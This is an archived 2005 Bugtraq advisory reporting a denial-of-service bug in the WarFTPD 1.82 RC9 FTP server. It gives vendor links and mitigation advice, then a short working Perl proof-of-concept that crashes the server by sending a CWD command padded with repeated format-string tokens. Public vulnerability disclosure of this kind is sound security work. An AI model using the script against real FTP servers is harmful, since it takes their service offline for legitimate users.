bugtraq - WarFTPD 1.82 RC9 DoS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <185790007.20050127121451@ddclan.de>
Date: Thu, 27 Jan 2005 12:14:51 +0100
From: "MC.Iglo" <mc.iglo@....de>
To: bugtraq@...urityfocus.com
Subject: WarFTPD 1.82 RC9 DoS


Hello,

due to an access violation, specialy crafted CWD-Commands will exit
the FTP server when running as a NT service.
User needs to be logged on.

Vendor's report can be found at
http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643

Solution: deny anonymous or untrusted logins or use patched version.

Updated Version can be found at
http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3


PoC Exploit

<snip>

#!/usr/bin/perl -w
# remote DoS PoC Exploit for WarFTPD 1.82 RC9
# THX 2 barabas 4 his GoldenFTP-sploit :)
# greetings fly out to Foobar

use strict;
use Net::FTP;
my $payload="%s"x115;

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("anonymous","123@....com");
$ftp->quot("CWD",$payload);

</snip>